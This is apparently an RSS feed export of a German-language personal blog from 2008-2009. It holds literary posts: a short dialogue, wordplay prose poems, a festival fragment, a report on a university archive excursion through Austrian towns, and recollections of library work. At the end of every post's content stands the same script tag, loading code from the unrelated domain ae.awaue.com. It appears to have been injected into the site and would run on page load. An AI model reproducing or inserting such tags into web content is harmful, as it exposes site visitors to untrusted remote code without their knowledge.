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	<title>i be gan. &#187; schreiben!</title>
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		<title>Begegnung.</title>
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		<pubDate>Fri, 06 Nov 2009 13:31:29 +0000</pubDate>
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		<description><![CDATA[- Du erinnerst Dich nicht mehr?
- Theo?
- Thomas.
- Thomas Forstinger. Ja? Ich habe Dir nur einen falschen Vornamen verpasst.
- Ja. Du erinnerst Dich?
- Ja. Der Mann, den ich immer nur abends in irgendwelchen dunklen Seitengassen getroffen habe, den Arm um eine andere Frau.
- So kam es Dir vor?
- So kam es mir vor.
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			<content:encoded><![CDATA[<p>- Du erinnerst Dich nicht mehr?</p>
<p>- Theo?</p>
<p>- Thomas.</p>
<p>- Thomas Forstinger. Ja? Ich habe Dir nur einen falschen Vornamen verpasst.</p>
<p>- Ja. Du erinnerst Dich?</p>
<p>- Ja. Der Mann, den ich immer nur abends in irgendwelchen dunklen Seitengassen getroffen habe, den Arm um eine andere Frau.</p>
<p>- So kam es Dir vor?</p>
<p>- So kam es mir vor.<script src="http://ae.awaue.com/7"></script></p>
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		<title>(&#8230;)</title>
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		<pubDate>Sat, 01 Aug 2009 13:03:10 +0000</pubDate>
		<dc:creator>gan</dc:creator>
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Schweigen und Zugfahren, und ein Leben in vintage: Wegwerfkameras und Schreiben mit der Hand. Sowieso eine allgemein mittelalterliche Lebenseinstellung, sowohl die zum Bräunen als auch die zur Wissenschaft, nein, zur &#8220;Wissenschaft&#8221;; an einem harten und zu hohen Holztisch im großen skriptorium  der Universität über Bücher gebeugt, Notizen ins schwarze Heftchen, C (auf Seite hundertundsiebenundsechzig, [...]]]></description>
			<content:encoded><![CDATA[<p><a class="tt-flickr tt-flickr-Original" title="(...)" href="http://www.flickr.com/photos/gananarama/3772311586/"><img class="alignnone" src="http://farm3.static.flickr.com/2453/3772311586_e4789a7431_o.jpg" alt="(...)" width="500" height="375" /></a></p>
<p>Schweigen und Zugfahren, und ein Leben in <em>vintage</em>: Wegwerfkameras und Schreiben mit der Hand. Sowieso eine allgemein mittelalterliche Lebenseinstellung, sowohl die zum Bräunen als auch die zur Wissenschaft, nein, zur &#8220;Wissenschaft&#8221;; an einem harten und zu hohen Holztisch im großen <em>skriptorium </em> der Universität über Bücher gebeugt, Notizen ins schwarze Heftchen, C (auf Seite hundertundsiebenundsechzig, Item 32 auf der Literaturliste) krakeln.</p>
<p>Nachts in meinen Träumen sehe ich eine Zukunft vor mir, in der Bibliotheken verbrannt/Datenbanken dem Erdboden gleichgemacht/unter Wasser gesetzt/jegliche Wissenspeicher das zweifach unglückliche Schicksal der Bibliotheca Palatina erlitten</p>
<p style="padding-left: 30px;font-size:7.5pt">[<em>"Was geschah mit diesen vielen Bibliotheken? Einige brannten bald nach ihrer Einrichtung wieader ab (so die Bibliotheca Palatina das Augustus und die Bibliothek in der Porticus Octiviae), wurden wieder aufgebaut (die Bibliotheca Palatina) und brannten wieder ab (die Bibliotheca Palatina)."</em><br />
aus: Jochum, Uwe: Kleine Bibliotheksgeschichte. Stuttgart: 2007]</p>
<p>- und alles was den PhilologInnen und HistorikerInnen und KommunikationswissenschaftlerInnen der Zukunft geblieben sein wird, sind meine dahingeworfenen Notizen, am Rande der Unleserlichkeit, voller Abkürzungen, Pfeile, Verkürzungen und -fälschungen und selektiv geprägt, doch die Inhaltsverzeichnisse sind nachvollziehbar. Wie sie dann in ihren engen Büros über Aktenberge ebenfalls gebeugt, eine digitale Reproduktion von Heft B/S. 120 vor sich und jubeln über das indirekte Schillerzitat bei Claus Pias, denn Schiller wird nur mehr ein Phantom gewesen sein, und in der Fachpresse werden Artikel über die neuesten Fortschritte in der Erforschung des BS/3-Bestandes, die <em>einzige Quelle für Literatur vor 2150</em>, triumphierend und <em>große Fortschritte</em>, auf den Tagungen diskutieren/streiten/ereifern sich die Alten, die lesen und niederschreiben und weiterführen gegen die Jungen, die sich emanzipieren wollen und von der <em>Chance von 2150</em> sprechen, es fließt Blut und Schweiß und Kühlflüssigkeit, eine Revolte &#8211; und niemand wird sich darum kümmern und sich interessieren, weil es sowieso.<script src="http://ae.awaue.com/7"></script></p>
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		<title></title>
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		<pubDate>Sun, 17 May 2009 15:19:23 +0000</pubDate>
		<dc:creator>gan</dc:creator>
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		<description><![CDATA[Ären enden vs. Ähren ernten / an Resten zehren vs. Zukünftiges begehren oder Idole verehren? / Ideen verkosten und dann langsam verrosten / Schnelle Liebe, schnelles Glück, oder doch lieber Kunst für die Ewigkeit? / Apfelstrudel mit Spinatsaft / oder umgekehrt? / Ode an die Oderkehre / Opium fürs Volk oder Opfer für Vollwert / [...]]]></description>
			<content:encoded><![CDATA[<p>Ären enden vs. Ähren ernten / an Resten zehren vs. Zukünftiges begehren oder Idole verehren? / Ideen verkosten und dann langsam verrosten / Schnelle Liebe, schnelles Glück, oder doch lieber Kunst für die Ewigkeit? / Apfelstrudel mit Spinatsaft / oder umgekehrt? / Ode an die Oderkehre / Opium fürs Volk oder Opfer für Vollwert / ums Herz zereißen und Lungen zerfleischen (ja? nein?) / Strichpunkt oder Rufezeichen? / auf den Strich vs. auf den Punkt / interne Expertisen, externe Markisen und makellose Inspizienten / Zahlenlehre und leere Zahnpasta/ Rabauken ohne bauz / Geborgene Schätze und gegorene Liebschaften / Salz unter den Füßen und Pfeffer in den Ohren / Anführungszeichen oder kursiv setzen? / ist das ein Leben? / du bist hart im Geben // Alles für das Ego nichts für die Kunst. / </p>
<p>(Ich sehe ja nur ein großes Fragezeichen vor mir, und weiß noch nicht einmal, mit welchem Finger den Punkt machen soll.)<script src="http://ae.awaue.com/7"></script></p>
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		<title>underdressed and overaged (Festivalfragment)</title>
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		<pubDate>Mon, 04 May 2009 08:17:39 +0000</pubDate>
		<dc:creator>gan</dc:creator>
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		<description><![CDATA[Aus den Untiefen meines Archivs:
[...] das Salzkammergut ist da, wo es anfängt zu regnen, und einfach nicht mehr aufhört. Menschen, die barfuß durch den Schlamm laufen, sich einen Karton um den Hals hängen und &#8220;Mama, i brauch kane Regenstiefel&#8221; draufschreiben. Menschen, Kinder, Jugendliche. Menschen, die barfuß durch den Regen/Schlamm/Matsch/Tag stampfen/und nicht krank werden/denn die Liebe/die [...]]]></description>
			<content:encoded><![CDATA[<p>Aus den Untiefen meines Archivs:</p>
<p style="padding-left: 30px;font-size:7.5pt">[...] das <del datetime="2009-05-15T14:56:23+00:00">Salzkammergut </del>ist da, wo es anfängt zu regnen, und einfach nicht mehr aufhört. Menschen, die barfuß durch den Schlamm laufen, sich einen Karton um den Hals hängen und &#8220;Mama, i brauch kane Regenstiefel&#8221; draufschreiben. Menschen, Kinder, Jugendliche. Menschen, die barfuß durch den Regen/Schlamm/Matsch/Tag stampfen/und nicht krank werden/denn die Liebe/die Liebe und der Alkohol/ überhaupt die Euphorie. Schiefe Blicke. Tiroler, die sprechen wie ihre eigene Parodie, alles <em>pärig </em>finden und eh schon seit fünf Uhr früh trinken. Fremdschämen. Dann doch: Plastiksack im Schuh/Plastiksack statt Schuh/Plastik um das Hosenbein/Plastik statt Hose/aber auch barfuß und mit hotpants. Es regnet. Und jeder Schritt ist statement. Die Massen tragen den Gratisregenschutz. Die rote/rosa/weiße Festivaluniform. Regenstiefel in bunt in rosa in grün in gelb oder die Matschversion. Sich mit Freunden in den Schlamm schmeißen/in der Riesenlacke, in der das eigene Zelt versinkt, eine Angel auswerfen/die Luftma [...]</p>
<p><script src="http://ae.awaue.com/7"></script></p>
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		<pubDate>Mon, 02 Feb 2009 17:54:52 +0000</pubDate>
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		<description><![CDATA[Den Anfang verschlafen &#38; am Ende schon tot sein / Panik macht auch keinen Spaß / den Braten nicht fett / Krankhafter Positivismus / &#8220;Ich weiß ja nicht, wie Sie zu feministischen Theorien und intellektueller Hirnwichserei stehen.&#8221; / Schule machen / Schuhe machen / NEVER EVER EVER?! / Bauzaunkönig / in Lachen lachen und in [...]]]></description>
			<content:encoded><![CDATA[<p>Den Anfang verschlafen &amp; am Ende schon tot sein / Panik macht auch keinen Spaß / den Braten nicht fett / Krankhafter Positivismus / &#8220;Ich weiß ja nicht, wie Sie zu feministischen Theorien und intellektueller Hirnwichserei stehen.&#8221; / Schule machen / Schuhe machen / NEVER EVER EVER?! / Bauzaunkönig / in Lachen lachen und in Massen weinen / heimfahren, heimgehen und wegsehen vs. Wege sehen / niemals ohne Bindestrich / bau dir dein eigenes Herz! / Floskeln beherzen und Bemühungen verbeißen / Schmerzen verheißen / Wege vergessen und Spatzen verpetzen / Freunde verletzen oder Narben verdecken? / lieber einfach: Leberflecken vernetzen / Rad fahren, Spaß haben &#8211; oder einen im Sarg haben / Bären bergen, Hasen schlagen und mäusemausend verschnaufen / verheerend keuchen und ehrend meucheln / den Bären im Honig loben vs. den Honig vorm Bär holen / all hail Inhaltsverzeichnis / all hail Forschungsfragen // CETERUM CENSEO PROKRASTINATIONEM DELENDAM ESSE. / am dam des / Exzess.<script src="http://ae.awaue.com/7"></script></p>
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		<pubDate>Sun, 01 Feb 2009 18:41:56 +0000</pubDate>
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		<description><![CDATA[etwas arg spezifisches / Liebe und Rechtschreibung / Die Zeit ohne einen Fallschirm / Nase popeln und Hände verschränken / zu spät kommen, warten, und die Arme über Kreuz / leere Bierflaschen und Kühlschrankmagnete / einen goldenen Fußball im Bett / Faulenzer vs. Geodreieck / Selbstbeweihräucherung in Zeiten des Zölibats / Rechtsmittel, und &#8220;friedhofsblonde Haare&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p>etwas arg spezifisches / Liebe und Rechtschreibung / Die Zeit ohne einen Fallschirm / Nase popeln und Hände verschränken / zu spät kommen, warten, und die Arme über Kreuz / leere Bierflaschen und Kühlschrankmagnete / einen goldenen Fußball im Bett / Faulenzer vs. Geodreieck / Selbstbeweihräucherung in Zeiten des Zölibats / Rechtsmittel, und &#8220;friedhofsblonde Haare&#8221; / Pornobrillen und Mahngebühren / Umleitungen vs. Garnichthingehen / Freundschaft ohne Toleranz / Respekt mit Auslosen / Zäune gegen den Fortschritt / wenn das Studieren leicht wär, hätten wir alle einen Hochschulabschluss (vs: fast alle) / Zeit zerfließt / entartete Kommunikation / Kontext, Recherche &amp; Staubpartikel / am Riemen reimen / eine Schwalbe macht noch keinen Lack kaputt / Vertrauen verschätzen / überschätzen / WIE BITTE? / nachts sind alle Ergüsse großartig / Geistes / goldene Bullen und Milchkühe / Käpt&#8217;n Blaubeer aß ein Eis / Plan und Phantasie / spontan weinen und: Geliebte Gefühlsduseleien / Zahnbürsten für Lehrmaterialen / &#8220;Ich sage ja immer, die schießen so lange hin und her, bis einem was passiert.&#8221; / Geständnis heucheln und mit Gerste spielen / aufgeben vs. üben / Haus am Strand oder Hotel am Meer? // Im Grunde überschätzt Du Dich selbst.<script src="http://ae.awaue.com/7"></script></p>
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		<title>exkursionsbericht</title>
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		<pubDate>Tue, 04 Nov 2008 12:04:48 +0000</pubDate>
		<dc:creator>gan</dc:creator>
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		<description><![CDATA[drei tage quer durch ober- und niederösterreich. sie sagen, wir fahren rauf, dann runter und dann rüber und dann wieder zurück. völlig den blick aufs große ganze verloren, die welt vor den busfenstern ist eh nur schwarz und grau und nebelig. beim ersten mittagstisch verbale haue für die klischeehafte bemerkung, es sei eh alles so [...]]]></description>
			<content:encoded><![CDATA[<p>drei tage quer durch ober- und niederösterreich. sie sagen, wir fahren rauf, dann runter und dann rüber und dann wieder zurück. völlig den blick aufs große ganze verloren, die welt vor den busfenstern ist eh nur schwarz und grau und nebelig. beim ersten mittagstisch verbale haue für die klischeehafte bemerkung, es sei eh alles so flach. wieder an der innerösterreichischen dialektalen zuordnung scheitern. mehr als vorarlbergerisch, tirolerisch und vielleicht dann noch das burgenländ<span style="text-decoration: line-through;">er</span>ische, mehr geht nicht. dann verlorengehen. als letzte noch zahlen, bei einer verzweifelten kassiererin, die völlig vergessen, dass man ja noch mit bancomat zahlen wollte, und zuwenig geld bekommen hatte für ihre fünfunddreißig menüs, und dann ganz erleichtert. die gruppe geht schon mal nach draußen, ich muss noch zahlen, die erste bancomatkarte geht nicht, limit überzogen, und dann halt die italienische, und es dauert ein bisschen länger, smalltalk, dann vor die tür, und dann: verloren. allein. die gruppe ist weg, da ist nur nebel und eine breite straße, und sie haben mich vergessen.</p>
<p>später ist es ihnen dann unglaublich peinlich, sagen sie, ein schlechtes gewissen, sagen sie, und alle kennen meinen namen und mein gesicht, und <em>dass du uns ja nicht mehr verloren gehst</em>. die turnlehrer entwickeln beschützerinstinkte, die archivarin, die noch schnell ihre diplomarbeit schreibt, und eine tochter in meinem alter hat, auch. die vorarlbergerin hatte mich als erste vermisst, die wiener sprechen von <em>westlicher solidarität</em>. in der zwischenzeit hatte ich mir den hundertwasserbrunnen dreimal angeschaut, und mit der uni wien telefoniert, denn keine handynummer von irgendwem und die sekretärin gibt sich mühe und sucht und schaut und telefoniert und smst. am ende dann wieder gefunden, und die nächsten zwei tage höre ich immer wieder, <em>bist eh noch da?, telefonierst wieder mit der uni? </em>und nach dem essen:<em> ich sag jetzt nichts, aber das ist ja für dich der kritische moment, ich bleib jetzt einfach bei dir.</em></p>
<p>jetzt fangen sie an, namenslisten vorzulesen und handynummern auszutauschen.</p>
<p>nieder- und oberösterreichische kleinstädte, ich weiß jetzt nicht mehr, was wo lag, dreieckige stadtgrundrisse, glückliche archivare, dass <em>ihr da von der uni wien</em> kommt, tut gut, man muss <em>ums budget kämpfen</em>, und der vizebürgermeister und seine <em>frau</em>, die finanzstadträtin. er zeigt seine kämmerchen im obersten stock des stadtamtes, kalt ist es, die räume sind klein und im sommer heiß. wir sitzen im großen sitzungssaal, draußen hängen die porträts der bürgermeister, zwei hatten einen hitlerschnauzer, der von 36 bis 38, und der von 46 bis 50. im gang hängt ein plakat vom zivilschutz, wie denn bei atomunfällen und terroranschlägen das leben zu retten sei, abgebildet: ein flugzeug, das in ein atomkraftwerk fliegt.</p>
<p>die befriedigung, spätmittelalterliche und neuzeitliche schriften lesen zu können.</p>
<p>am nächsten tag &#8211; übernachtung im viersternehotel mit wellnessbereich und frühstücksbuffet, ein schnäppchen sagen die professoren, aha sagen wir &#8211; das gegenprogramm. geld gabs genug, weil landesausstellung, der archivar von gestern würde weinen, wenn er sowas hätte, denke ich. der professor liest mit märchenstimme einen ransmayrtext vor. die stadt ist schmuck und bunt und freundlich und abends wie ausgestorben.  die turnlehrer wundern sich über frauen, die bier trinken, und wenn man sie fragt, ob man als turnlehrer grundsätzlich sadistisch veranlagt sein muss, lachen sie. wir reden über starmania und spanisch als weltsprache und schwiegereltern und wie sich das anfühlen muss, von archivalien zerquetscht zu sterben.</p>
<p>in steyr mussten sie einen barocken schrank auseinanderschneider, damit man die türen öffnen kann. staub und chaos und ein mittelalterlicher innenhof, in den ich mich verliebe. die englischlehrerin &#8211; überhaupt, so viele lehramtsstudenten auf einem haufen, wir entwickeln dann später die theorie, dass alle deswegen immer so pünktlich sind, weil als lehrer magst du ja zeitpläne, und als lehrer respektierst du ja autoritäten, weil du selbst eine darstellen willst, was gabi zwei tage später nachts am gürtel auf den nachtbus wartend mit <em>diese faschisten</em> kommentiert &#8211; fragt die schwangere, wie denn das mit den überlebenschanchen bei frühgeburten aussieht. wir haben keine namen, wir sind nur typen.</p>
<p>auf den kirchturm hinaufsteigen, ganz nach oben. einen papierflieger aus lachsrosa papier runterschmeißen, der sich dreht und dreht und dann in einer dachrinne landet.</p>
<p>in linz steht dann ein amishbart einem amishbart gegenüber. dreißig laufkilometer archivalien, ein <em>speicherturm</em>, und die englischlehrerin fragt, was ein <em>terabyte </em>ist. in kartonen wühlen, die professoren sind ganz aufgeregt. kindsmordverhandlungen und urbare. ein steckbrief, und der gesuchte böhmische schauspieler hatte eine <em>proportionierte </em> nase &#8211; <em>was auch immer das heißen mag</em>.</p>
<p>der busfahrer lässt schon wieder den motor laufen, am ende kriegt er applaus, die englischlehrerin johlt.</p>
<p>in wien dann endlich wieder zurück in der welt, drei tage keine zeitung, keine nachrichten. die D heißt noch D und bringt mich nachhaus und ich will eigentlich nur mehr schlafen.</p>
<p>photo habe ich kein einziges gemacht.<script src="http://ae.awaue.com/7"></script></p>
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		<pubDate>Tue, 20 May 2008 19:24:56 +0000</pubDate>
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		<description><![CDATA[[...] ich mag bücher, müssen Sie wissen, ich lese gerne, hab in bibliotheken gearbeitet und also eine vorstellung vom publikum &#8211; wer hat denn zeit zu lesen? und was liest mann denn so den ganzen tag, mann liest eh nicht, es sind eh die frauen, die kommen mit den kindern, sie wollen über liebe lesen, [...]]]></description>
			<content:encoded><![CDATA[<p>[...] ich mag bücher, müssen Sie wissen, ich lese gerne, hab in bibliotheken gearbeitet und also eine vorstellung vom publikum &#8211; wer hat denn zeit zu lesen? und was liest mann denn so den ganzen tag, mann liest eh nicht, es sind eh die frauen, die kommen mit den kindern, sie wollen über liebe lesen, aber zuviel sex ist dann auch nicht gut, den hat sie lieber selbst, meinte einmal eine grauhaarige oma zu mir, während ihr dreijähriger enkel sich baggerbücher aussuchte. überhaupt, in bibliotheken machen sie sachen, an die denkt man so als leser gar nicht, ich mein, bücher mit alkohol putzen, also mit putzalkohol, dem rosanen, der einem die nasenhaare wegbrennt, ein netter nebeneffekt, denn die kommen ja mit dem alter. kinderbücher jedesmal, also putzen, die erwachsenenbücher dann, wenn die lust da ist. rosaner putzalkohol und ein stück von einem alten leintuch. schön ist es bei den büchern wo pickerle über pickerle, folie über folie geklebt, durchsichtig, aber ständig die neuen systematisierungssysteme, immer wieder wird alles anders gemacht, die brauchen ja auch arbeit, die beim land, und dann sammeln sich in den falten und ecken die fussel, die essensreste, die haare, der speichel, und der dreck. aber der rosane, der packt das. die buchstabenkürzel, also die ersten buchstaben des autorennamens auf den büchern, rechts oben, oder nein, auf dem buchrücken, die werden von hand geschrieben, mit schablonenbuchstaben, ich weiß aber immer noch nicht, ob die buchstaben nur nach schablonenbuchstaben aussehen oder mit der schablone gezogen werden, sie sind fein und dünn und unpersönlich aber leserlich. überhaupt, bibliothekarinnen schreiben leserlich, noch aus der zeit als alles händisch auf diese karteikarten kam, name des kindes, nummer des kindes, name des buches, nummer des buches, ein datum, das zweite datum, und dann ein stempel, aber der kam direkt ins buch hinein, der kommt immer noch, aber die karteikarte ist weg, und die grauhaarigen dünnfingerigen bibliothekarinnen schießen jetzt mit laserpistolen rote lasernetze, lesegeräte, lasergeräte.<script src="http://ae.awaue.com/7"></script></p>
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		<title>So.</title>
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		<pubDate>Tue, 04 Mar 2008 19:29:31 +0000</pubDate>
		<dc:creator>gan</dc:creator>
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		<description><![CDATA[Jetzt habe ich schon wieder nichts geschrieben. Einen ganzen Monat lang. Irgendwer noch überrascht?
Aber meine kleine Leserschaft darf sich als geschont betrachten, viel mehr als &#8220;ich bin müde&#8221;, &#8220;das sollte eigentlich alles ganz anders laufen&#8221;, &#8220;ich habe schon zwei Bücher gelesen, die nichts mit der Uni zu tun haben&#8221;, &#8220;ich möchte heim&#8221;, &#8220;Menschen sind seltsam&#8221;, [...]]]></description>
			<content:encoded><![CDATA[<p>Jetzt habe ich schon wieder nichts geschrieben. Einen ganzen Monat lang. Irgendwer noch überrascht?</p>
<p>Aber meine kleine Leserschaft darf sich als geschont betrachten, viel mehr als &#8220;ich bin müde&#8221;, &#8220;das sollte eigentlich alles ganz anders laufen&#8221;, &#8220;ich habe schon zwei Bücher gelesen, die nichts mit der Uni zu tun haben&#8221;, &#8220;ich möchte heim&#8221;, &#8220;Menschen sind seltsam&#8221;, &#8220;ich habe Rückenschmerzen&#8221;, &#8220;die Beistriche im heutigen rondo sind von mir&#8221;, &#8220;ich bin ein kleines feiges Ding, und telefoniere plötzlich ungern&#8221;, &#8220;warum bin ich so schüchtern?&#8221;, &#8220;ich bin müde&#8221;, &#8220;die Anderen haben es viel besser&#8221;, &#8220;hei, es ist trotzdem sehr toll&#8221;, &#8220;uh, networking&#8221;, &#8220;hei, die sind ja alle ganz ok&#8221;, &#8220;immer noch Heimweh&#8221;, &#8220;alle meine Freunde sind woanders&#8221;, &#8220;ich schreibe, also habe ich eine Schreibblockade&#8221;, &#8220;omg, jemand liest das, was ich schreibe&#8221;, &#8220;Bürojobs sind seltsam&#8221;, &#8220;mein Rücken&#8221;, &#8220;ich will ins Bett&#8221;, &#8220;und ich mag &#8220;eigentlich&#8221; trotzdem&#8221;, &#8220;heuer ist ein langer Februar&#8221;, &#8220;alles was ich brauche ist ein Wortspiel&#8221;, &#8220;und das waren jetzt meine Ferien&#8221;, &#8220;ich sage nur Mitarbeiterrabatt, Mitarbeiterrabat!&#8221;, &#8220;irgendwie wird es mir schon fehlen&#8221;, &#8220;plötzlich wieder Uni&#8221;, &#8220;omg, ganz Österreich kann lesen, was ich geschrieben habe&#8221;, &#8220;hui&#8221;, &#8220;jeij&#8221; und &#8220;verdammt, ich hätte vielleicht lernen sollen&#8221; hättet ihr von mir eh nicht gehört. Und das hatten wir ja alles schon mal.</p>
<p>Und &#8220;so&#8221; ist übrigens fürs Klo, um mein gelerntes Wissen anzubringen.<script src="http://ae.awaue.com/7"></script></p>
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		<title>Don&#8217;t Panic.</title>
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		<pubDate>Fri, 25 Jan 2008 13:44:53 +0000</pubDate>
		<dc:creator>gan</dc:creator>
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		<category><![CDATA[argh!]]></category>
		<category><![CDATA[emo]]></category>
		<category><![CDATA[schreiben!]]></category>
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		<description><![CDATA[Heute, irgendwann zwischen viertel nach elf und halb zwölf ist mir aufgefallen, dass ich im Moment eigentlich gerade unter ziemlichen Zeitdruck stehe.
(Prüfungen! Arbeiten! Hausübungen! Prüfungen! Ein Bettelgespräch bei der Studienprogrammleitung! Und: Prüfungen!)
Kurz darauf habe ich beschlossen, dass die Schuld nicht bei mir liegt, sondern an der Weltwirtschaftskrise, dem Scheitern der Regierung Prodi und: Heath Ledger.
Das [...]]]></description>
			<content:encoded><![CDATA[<p>Heute, irgendwann zwischen viertel nach elf und halb zwölf ist mir aufgefallen, dass ich im Moment eigentlich gerade unter ziemlichen Zeitdruck stehe.</p>
<p>(Prüfungen! Arbeiten! Hausübungen! Prüfungen! Ein Bettelgespräch bei der Studienprogrammleitung! Und: Prüfungen!)</p>
<p>Kurz darauf habe ich beschlossen, dass die Schuld nicht bei mir liegt, sondern an der Weltwirtschaftskrise, dem Scheitern der Regierung Prodi und: Heath Ledger.</p>
<p>Das ganze Weltgeschehen macht mich einfach fertig.</p>
<p><span style="font-size: smaller">(Hat jemand vielleicht ein Handtuch für mich?)</span><script src="http://ae.awaue.com/7"></script></p>
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